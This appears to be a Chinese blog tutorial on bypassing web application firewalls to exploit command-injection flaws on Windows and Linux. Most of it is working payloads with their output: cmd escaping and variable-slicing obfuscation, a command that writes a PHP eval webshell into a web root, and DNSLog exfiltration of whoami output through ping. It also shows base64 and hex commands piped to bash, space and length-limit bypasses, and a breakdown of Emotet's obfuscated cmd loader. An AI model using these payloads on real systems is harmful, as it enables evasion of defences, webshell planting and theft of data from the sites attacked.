绕过WAF运行命令执行漏洞的方法

0x01 Windows(不区分大小写)

1.1 符号和命令的关系

如果命令执行的时候遇到拦截命令关键词的时候可以利用如下方法绕过:

"^是CMD命令中最常见的转义字符,还有成对的括号并不会影响命令的执行。

这里有几个需要注意的地方:

1
2
3
4
5
在命令中可以有无数个",但是不能有两个连续的^
在命令中如果"在^之前,则"的个数必须为偶数个
在命令中如果"在^之后,并且带有参数,则命令中的"个数必须为偶数
在命令的参数中,单个字符前后"的个数只能有一个或者两个
如果成对的括号中间有"则"的个数也必须为偶数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
whoami    //正确执行
WhOAmi //正确执行
Who"amI //正确执行
((Who"amI)) //错误
((Who""amI)) //正确执行
Who""""""""amI //正确执行
who"""a^mi //错误
who""""a^mi //正确执行
whoa^m""""i //正确执行
whoa^m"""i //正确执行
whoa^^mi //错误
n^e^t user //正确执行
n^e^t"" user //正确执行
n^e^t""" user //错误
n^e^t"" u"ser //正确执行
n^e^t"" u""ser //正确执行
n^e^t"" u"""ser //错误
n^e^t"" u""s"er //正确执行
n^e^t"" u""s""er //正确执行
n^e^t"" u""s"""er //错误

图片

图片

图片

图片

1.2 了解set命令和Windows变量

在cmd中set用来进行变量赋值,而%%括起来的变量会引用其赋的值。

图片

这样就可以进行命令执行了

1
set cmd=whoami    //赋值变量为whoami%cmd%              //执行命令

图片

也可以赋值多个变量,拼接利用

1
set cmd1=whoset cmd2=amset cmd3=i%cmd1%%cmd2%%cmd3%

图片

1
set cmd1=whoset cmd3=i%cmd1%am%cmd3%

图片

也可以与1.2的内容进行合并

1
set cmd1=wh""oset cmd3=i"""%cmd1%a^m%cmd3%

图片

也可以在赋值的时候加入空格

1
set cmd1=s""erset cmd2=t uset cmd3=n^e%cmd3%%cmd2%%cmd1%

图片

1
Cmd /C "set cmd1=s""er && set cmd2=t u && set cmd3=n^e && call %cmd3%%cmd2%%cmd1%"

图片

当使用cmd /V:ONcmd /V:O时可以不使用call命令来扩展变量,使用 %var% 或 !var! 来扩展变量,!var!可以用来代替%var%

1
cmd /V:ON /C "set cmd=net user && !cmd!"cmd /V:O /C "set cmd=net user && !cmd!"

图片

图片

1.3 Windows切割字符串

拿whoami举例,实践Windows切割字符串的语法

1
2
3
4
set cmd=whoami
%cmd:~0% //取出a的值中的所有字符此时正常执行whoami
%cmd:~0,1% //取出a的值,从第0个位置开始,取1个值此时因为w总共就1个字符
%cmd:~0,6% //取出a的值,从第0个位置开始,取6个值此时因为whoami总共就6个字符

图片

由此可以看出来截取字符串的语法为%变量名:~x,y%即从变量第x位开始,截取y个字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
C:\Users\a>set str=0123456789
C:\Users\a>echo %str:~-1%
9
从最后1位开始取整个字符串
C:\Users\a>echo %str:~-6%
456789
从倒数第6位开始取整个字符串
C:\Users\a>echo %str:~-9%
123456789
从倒数第9位开始取整个字符串
C:\Users\a>echo %str:~-9,2%
12
从倒数第9位开始取2位
C:\Users\a>echo %str:~-9,4%
1234
从倒数第9位开始取4位
C:\Users\a>echo %str:~-9,-2%
1234567
从倒数第9位开始少取最后2位
C:\Users\a>echo %str:~-9,-4%
12345
从倒数第9位开始少取最后4位

图片

既然已经熟悉了如何切割字符,那么我们来看一下都有什么环境变量可以用

图片

我们可以拼命令了

1
2
3
4
5
6
7
8
9
10
C:\Users\a>echo %COMPUTERNAME:~0,1%h%windir:~-3,1%%HOMEPATH:~-1%mi
Whoami
C:\Users\a>%COMPUTERNAME:~0,1%h%windir:~-3,1%%HOMEPATH:~-1%mi
win-tbucg5qo47j\a
C:\Users\a>d^i^r%CommonProgramFiles:~10,1%%commonprogramfiles:~0,3%
驱动器 C 中的卷没有标签。 卷的序列号是 5CE5-9A63
C:\ 的目录
2022/03/12 00:20 <DIR> JspStudy
2022/07/09 20:04 <DIR> MailMasterData
2009/07/14 11:20 <DIR> PerfLogs

图片

图片

我们还可以凑php一句话(这里为了方便所以自定义了一些字符)

1
2
C:\Users\a>set web=^<^>/@$_PHPOST[]?'e()val
C:\Users\a>echo ^%web:~0,1%^%web:~-8,1%%web:~6,3% ^%web:~-6,1%^%web:~-3,3%^%web:~-5,1%%web:~4,2%%web:~8,5%^%web:~-7,1%%web:~-1,1%^%web:~-7,1%%web:~13,1%^%web:~-4,1% ^%web:~-8,1%^%web:~1,1% > C:\phpstudy_pro\WWW\b.php

图片

图片

因为拼接字符需要得到大量的位置,为了方便拼接可以使用for命令来讲所有位置设成一个列表,以此循环遍历列表,合并字符串,还能起到混淆的作用。

这里注意set不能以空格结尾否则,变量会将空格进行赋值

1
cmd /V:ON /C " set kpx=vwchdoaadmei&& for %G in (1,3,5,7,9,11,26) do set lq=!lq!!kpx:~%G,1!&& if %G==26  !lq:~4!"

图片

错误示范

下面的方法拼接出来的其实是w h o a m i 因为有空格后面的都视作参数没有显示

图片

分析Emotet木马中的cmd命令

Emotet一款著名的银行木马,首次出现于2014年年中。该木马主要通过垃圾邮件的方式传播感染目标用户,其不断变化传播花样,采用越来越复杂的混淆编码来躲避检测。

现在我们以Emotet木马为例,我们来试着分析一下经过混淆后的cmd内容

图片

先将混淆cmd命令中的转义字符“^”全部去掉,再将除了变量@之外的逗号“,”、分号“;”、多余空格删除。注意保留变量@中的逗号和分号,否则影响输出结果。

图片

下图为无意义的四个字符串,cmd会自动忽略。

图片

可以看出这里利用了cmd的系统环境变量%comspec%,即是cmd.exe的执行路径,因此会执行cmd命令,这里才是命令的真正开头。因此程序开头可以进行化简。

图片

去除无意义的字符串后可以化简为

1
%comspec% /c for /f " delims=vf= tokens=2" %f in ( 'assoc .cmd' ) do %f /V /R

先利用%comspec% /c执行第一个for循环,再利用for循环的/f参数,在命令assoc .cmd结果.cmd=cmdfile中以字符v、f、=为分隔符,取第二列即是“cmd”。

图片

因此这里用for循环生成的cmd又开启了新一个cmd程序来运行下面的字符串内的程序。

图片

这里自定义了一个环境变量@,等于一个1460长度的字符串。然后利用for循环的/L参数,遍历变量@for /L %s in (1459,-4,+3 ) do set \=!\!!@ :~ %s, 1!& if %s equ 3 call %\:~-365%,这个for循环自定义了环境变量"\",还启用了延迟的环境变量扩展!!@:~%s,1!表示循环变量%s从1459开始,步长为-4,到3结束,循环提取变量@中的字符,添加到\变量中。当%s3的时候就会执行\中倒数365个字符组成的程序。

图片

1.4 逻辑运算符在绕过中的作用

| 在cmd中,可以连接命令,且只会执行后面的命令

1
2
whoami | ping -n 1 www.baidu.com   //只执行ping
ping -n 1 www.baidu.com | whoami //只执行whoami

图片

|| 只有在前面命令失败才执行后面

1
2
ping 127.0.0.1 || whoami //不执行
whoamiping xxx. || whoami //执行whoami

图片

&无论前面的命令是否能执行成功都会执行后面的命令

1
2
ping 127.0.0.1 & whoami //执行
whoamiping xxx. & whoami //执行whoami

图片

&&前面命令为真才会执行后面的命令。

1
ping 127.0.0.1 && whoami //执行whoamiping xxx. && whoami //不执行whoami

图片

0x02 Linux(区分大小写)

2.1 linux下的符号和逻辑运算符

linux中变量使用$来引用,;表示命令结束无论命令是否执行成功都会执行下一个命令,| || & &&,与Windows一样,这里就不做赘述。

利用上面的符号可以进行拼接的命令:

1
t=l;j=s;i=" -al";$t$j$i

图片

2.2 利用未被过滤的命令

假设有命令执行漏洞的网站中过滤的一些命令,但是没有过滤一些命令,例如ping命令,则可以利用ping命令来执行命令带出信息。

1
ping `whoami`.whjtmh.dnslog.cn

利用DNSLog就可以获得带出的信息(对于不回显的命令执行也可以利用这种方法)

图片

2.3 linux符号之间的组合

类似于Windows的"^linux也有类似的使用方法,就是利用变量和参数

利用反斜杠绕过

1
who\ami

利用括号括起来(当做命令执行)

1
(whoa''mi)

利用反引号或$和括号结合(将括号内命令的结果当做命令执行)

1
2
`(echo whoami)`
$(echo whoami)

利用Shell特殊变量绕过

1
2
3
who$*ami
who$@ami
who$1ami

利用通配符匹配唯一命令名称执行命令(使用命令的绝对路径)

1
2
3
/u?r/b?n/who?mi
/*/*/whoam?
/*/*i[n]/wh??mi

综合组合

1
/*/*""in/w'h'`dfds`??m$(sdf)i

2.4 linux切割字符串

在linux中切割字符串的语法是${NAME:start:length}

与Windows相同这里不在赘述,只要区分大小写就可以

2.5 绕过空格过滤

  • 在前端页面中可以利用%00,%0a,%0d等url编码来绕过空格的过滤,

  • 利用大括号来绕过空格限制

1
2
{ls,-al}
{ping,-c,2,127.0.0.1}

图片

  • ${IFS}绕过空格

IFS是internal field separator的缩写,shell的特殊环境变量。shell根据IFS存储的值,可以是空格(040)、tab(011)、换行符(012)或者其他自定义符号,来解析输入和输出的变量值。这里echo -n是不进行自动换行

图片

图片

2.6 利用base64绕过命令限制

1
2
echo whoami|base64 //先输出whoami的base64编码
`echo dwhvYW1pCg==|base64 -d` //将其base64解码

图片

2.7 hex编码绕过

1
2
3
4
# cat flag.php -> 63617420666c61672e706870
echo "63617420666c61672e706870"|xxd -r -p|bash
#xxd: 二进制显示和处理文件工具,cat: 以文本方式ASCII显示文件#-r参数:逆向转换。将16进制字符串表示转为实际的数#-ps参数:以 postscript的连续16进制转储输出,也叫做纯16进制转储。#-r -p将纯十六进制转储的反向输出打印为了ASCII格式。
cat flag.php -> \x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70#经测试,发现在php的ping环境上执行失败。在linux系统上执行成功$(printf "\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"){printf,"\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"}|bash`{printf,"\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"}`

图片

2.8 长度限制绕过

  • 方法一:

可以利用base64解码的方式将脚本写入多个文件合并后再执行

1
2
3
4
5
6
7
8
9
10
11
echo "cat flag.txt" | base64   
# 首先生成所需命令的base64字符串
# Y2F0IGZsYWcudHh0Cg==
echo -n Y2F0IG > a
echo -n ZsYWcu >b
echo -n dHh0Cg== > c
下面合并文件
cat b >> acat c >> a
解码文件
base64 -d a > shell.sh
sh shell.sh

图片

  • 方法二:
1
2
3
4
5
6
7
8
9
10
首先通过命令创建带有命令分隔的文件
> "txt"
> "ag.\\"
> "fl\\"
> "t \\"
> "ca\\"
在用ls -t输出到一个文件中,再利用sh执行ls -t > shell2.sh
#如果创建空文件时,创建了点.开头的文件,上边命令要添加-a选项将隐藏文件也写入qwzf,即
ls -at > shell2.sh
sh shell2.sh

图片